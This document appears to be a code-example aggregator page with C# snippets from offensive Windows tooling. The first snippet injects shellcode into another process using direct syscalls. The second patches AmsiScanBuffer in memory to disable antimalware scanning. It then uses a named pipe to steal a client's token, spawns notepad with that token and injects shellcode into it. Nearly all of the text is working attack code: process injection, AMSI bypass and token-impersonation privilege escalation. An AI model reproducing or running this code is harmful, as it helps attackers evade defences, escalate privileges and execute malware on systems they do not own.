Exemplo n.º 1
0
        static void Main(string[] args)
        {
            // NtOpenProcess
            IntPtr        stub          = Generic.GetSyscallStub("NtOpenProcess");
            NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess));

            IntPtr            hProcess = IntPtr.Zero;
            OBJECT_ATTRIBUTES oa       = new OBJECT_ATTRIBUTES();

            CLIENT_ID ci = new CLIENT_ID
            {
                UniqueProcess = (IntPtr)uint.Parse(args[0])
            };

            NTSTATUS result = ntOpenProcess(
                ref hProcess,
                0x001F0FFF,
                ref oa,
                ref ci);

            // NtAllocateVirtualMemory
            stub = Generic.GetSyscallStub("NtAllocateVirtualMemory");
            NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory));

            IntPtr baseAddress = IntPtr.Zero;
            IntPtr regionSize  = (IntPtr)_shellcode.Length;

            result = ntAllocateVirtualMemory(
                hProcess,
                ref baseAddress,
                IntPtr.Zero,
                ref regionSize,
                0x1000 | 0x2000,
                0x04);

            // NtWriteVirtualMemory
            stub = Generic.GetSyscallStub("NtWriteVirtualMemory");
            NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory));

            var buffer = Marshal.AllocHGlobal(_shellcode.Length);

            Marshal.Copy(_shellcode, 0, buffer, _shellcode.Length);

            uint bytesWritten = 0;

            result = ntWriteVirtualMemory(
                hProcess,
                baseAddress,
                buffer,
                (uint)_shellcode.Length,
                ref bytesWritten);

            // NtProtectVirtualMemory
            stub = Generic.GetSyscallStub("NtProtectVirtualMemory");
            NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));

            uint oldProtect = 0;

            result = ntProtectVirtualMemory(
                hProcess,
                ref baseAddress,
                ref regionSize,
                0x20,
                ref oldProtect);

            // NtCreateThreadEx
            stub = Generic.GetSyscallStub("NtCreateThreadEx");
            NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx));

            IntPtr hThread = IntPtr.Zero;

            result = ntCreateThreadEx(
                out hThread,
                ACCESS_MASK.MAXIMUM_ALLOWED,
                IntPtr.Zero,
                hProcess,
                baseAddress,
                IntPtr.Zero,
                false,
                0,
                0,
                0,
                IntPtr.Zero);
        }
Exemplo n.º 2
0
        private static void ChangeBytes(byte[] patch)
        {
            try
            {
                // library to load
                object[] LoadLibparams =
                {
                    "amsi.dll"
                };


                Console.WriteLine("[>] Manually mapping kernel32.dll into current process memory \n");

                DInvoke.PE.PE_MANUAL_MAP moduleDetails = DInvoke.Map.MapModuleToMemory("C:\\Windows\\System32\\kernel32.dll");
                Console.WriteLine("\n[>] Module Base : " + string.Format("{0:X}", moduleDetails.ModuleBase.ToInt64()) + "\n");

                // Call LoadLibraryA for the lib from above
                var lib = (IntPtr)DInvoke.DynamicGeneric.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA", typeof(LoadLib), LoadLibparams);
                Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", lib.ToInt64()) + "\n");


                // Function to patch
                object[] GetProcAddressparams =
                {
                    lib,
                    "AmsiScanBuffer"
                };

                // Parsing _PEB_LDR_DATA structure of kernel32.dll
                IntPtr pkernel32 = DInvoke.DynamicGeneric.GetPebLdrModuleEntry("kernel32.dll");

                // Get GetProcAddress Address
                var pLoadLibrary = DInvoke.DynamicGeneric.GetExportAddress(pkernel32, "GetProcAddress");

                // Actually Call GetProcAddress for the function mentioned above
                var addr = (IntPtr)DInvoke.DynamicGeneric.DynamicFunctionInvoke(pLoadLibrary, typeof(GProcAddr), ref GetProcAddressparams);

                Console.WriteLine("[>] Patch address : " + string.Format("{0:X}", addr.ToInt64()) + "\n");

                uint oldProtect = 0;

                // NtProtectVirtualMemory Syscall
                IntPtr stub = DInvoke.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory");
                NtProtectVirtualMemory NtProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));


                Process thisproc = Process.GetCurrentProcess();

                // Save value of addr as this is increased by NtProtectVirtualMemory
                IntPtr oldaddress = addr;

                var regionSize = (IntPtr)patch.Length;
                oldProtect = 0;

                var result = NtProtectVirtualMemory(
                    thisproc.Handle,
                    ref addr,
                    ref regionSize,
                    0x40,
                    ref oldProtect);

                if (result == 0)
                {
                    Console.WriteLine("[+] NtProtectVirtualMemory success, going to patch it now!\n");
                }
                else
                {
                    Console.WriteLine("[-] NtProtectVirtualMemory failed :-(\n");
                    Console.WriteLine("[-] Error code: " + result + "\n");
                }


                Console.WriteLine("[>] Patching at address : " + string.Format("{0:X}", oldaddress.ToInt64()) + "\n");

                Marshal.Copy(patch, 0, oldaddress, patch.Length);



                regionSize = (IntPtr)patch.Length;
                uint newoldProtect = 0;

                // CleanUp permissions back to oldprotect

                result = NtProtectVirtualMemory(
                    thisproc.Handle,
                    ref oldaddress,
                    ref regionSize,
                    oldProtect,
                    ref newoldProtect);

                if (result == 0)
                {
                    Console.WriteLine("[+] NtProtectVirtualMemory set back to oldprotect!\n");
                }
                else
                {
                    Console.WriteLine("[-] NtProtectVirtualMemory to restore oldprotect failed.\n");
                    Console.WriteLine("[-] Error code: " + result + "\n");
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(" [x] {0}", e.Message);
                Console.WriteLine(" [x] {0}", e.InnerException);
            }
        }
        public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes)
        {
            // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs

            string pipename = PipeName;
            string binary   = Binary;

            SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();

            // Create our named pipe
            pipename = string.Format("\\\\.\\pipe\\{0}", pipename);
            Console.WriteLine("Create Named Pipe: " + pipename);
            ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero);

            IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes);

            if (hPipe != IntPtr.Zero)
            {
                // Connect to our named pipe and wait for another client to connect

                bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);

                if (result)
                {
                    Console.WriteLine("Connect success!");
                }
                else
                {
                    Console.WriteLine("Connect fail!");
                    return;
                }

                // Impersonate the token of the incoming connection
                result = ImpersonateNamedPipeClient(hPipe);
                if (result)
                {
                    Console.WriteLine("Successfully impersonated client!");
                }
                else
                {
                    Console.WriteLine("Impersonation failed!");
                    return;
                }

                // Open a handle on the impersonated token
                IntPtr tokenHandle;
                result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);

                if (result)
                {
                    Console.WriteLine("OpenThreadToken succeeded!");
                }
                else
                {
                    Console.WriteLine("OpenThreadToken failed!");
                    return;
                }

                // Duplicate the stolen token
                IntPtr sysToken = IntPtr.Zero;
                DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);

                if (result)
                {
                    Console.WriteLine("DuplicateTokenEx succeeded!");
                }
                else
                {
                    Console.WriteLine("DuplicateTokenEx failed!");
                    return;
                }

                // Get the impersonated identity and revert to self to ensure we have impersonation privs
                String name = WindowsIdentity.GetCurrent().Name;
                Console.WriteLine($"Impersonated user is: {name}.");

                if (shellcodebytes != null)
                {
                    RevertToSelf();

                    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
                    STARTUPINFO         sInfo = new STARTUPINFO();
                    sInfo.cb = Marshal.SizeOf(sInfo);

                    binary = @"C:\windows\system32\notepad.exe";

                    bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo);
                    Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!");

                    int ProcID = ProcByName("notepad");

                    var shellcode = shellcodebytes;

                    // NtOpenProcess
                    IntPtr        stub          = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess");
                    NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess));

                    IntPtr            hProcess = IntPtr.Zero;
                    OBJECT_ATTRIBUTES oa       = new OBJECT_ATTRIBUTES();

                    CLIENT_ID ci = new CLIENT_ID
                    {
                        UniqueProcess = (IntPtr)(ProcID)
                    };

                    SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult;

                    statusresult = ntOpenProcess(
                        ref hProcess,
                        0x001F0FFF,
                        ref oa,
                        ref ci);

                    // NtAllocateVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory");
                    NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory));

                    IntPtr baseAddress = IntPtr.Zero;
                    IntPtr regionSize  = (IntPtr)shellcodebytes.Length;

                    statusresult = ntAllocateVirtualMemory(
                        hProcess,
                        ref baseAddress,
                        IntPtr.Zero,
                        ref regionSize,
                        0x1000 | 0x2000,
                        0x04);

                    // NtWriteVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory");
                    NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory));

                    var buffer = Marshal.AllocHGlobal(shellcodebytes.Length);
                    Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length);

                    uint bytesWritten = 0;

                    statusresult = ntWriteVirtualMemory(
                        hProcess,
                        baseAddress,
                        buffer,
                        (uint)shellcodebytes.Length,
                        ref bytesWritten);

                    // NtProtectVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory");
                    NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));

                    uint oldProtect = 0;

                    statusresult = ntProtectVirtualMemory(
                        hProcess,
                        ref baseAddress,
                        ref regionSize,
                        0x20,
                        ref oldProtect);

                    // NtCreateThreadEx
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx");
                    NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx));

                    IntPtr hThread = IntPtr.Zero;

                    statusresult = ntCreateThreadEx(
                        out hThread,
                        SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
                        IntPtr.Zero,
                        hProcess,
                        baseAddress,
                        IntPtr.Zero,
                        false,
                        0,
                        0,
                        0,
                        IntPtr.Zero);
                }
                else
                {
                    // Only testing purpose to fake an interactive logon somehow
                    PROFILEINFO profInfo           = new PROFILEINFO();
                    bool        loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo);
                    if (loadProfileSuccess)
                    {
                        Console.WriteLine("LoadUserProfile success!");
                    }
                    else
                    {
                        Console.WriteLine("LoadUserProfile failed!");
                    }

                    RevertToSelf();

                    // Spawn a new process with the duplicated token, a desktop session, and the created profile
                    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
                    STARTUPINFO         sInfo = new STARTUPINFO();

                    sInfo.cb = Marshal.SizeOf(sInfo);

                    bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo);
                    Console.WriteLine($"Executed '{binary}' with impersonated token!");
                }
            }
        }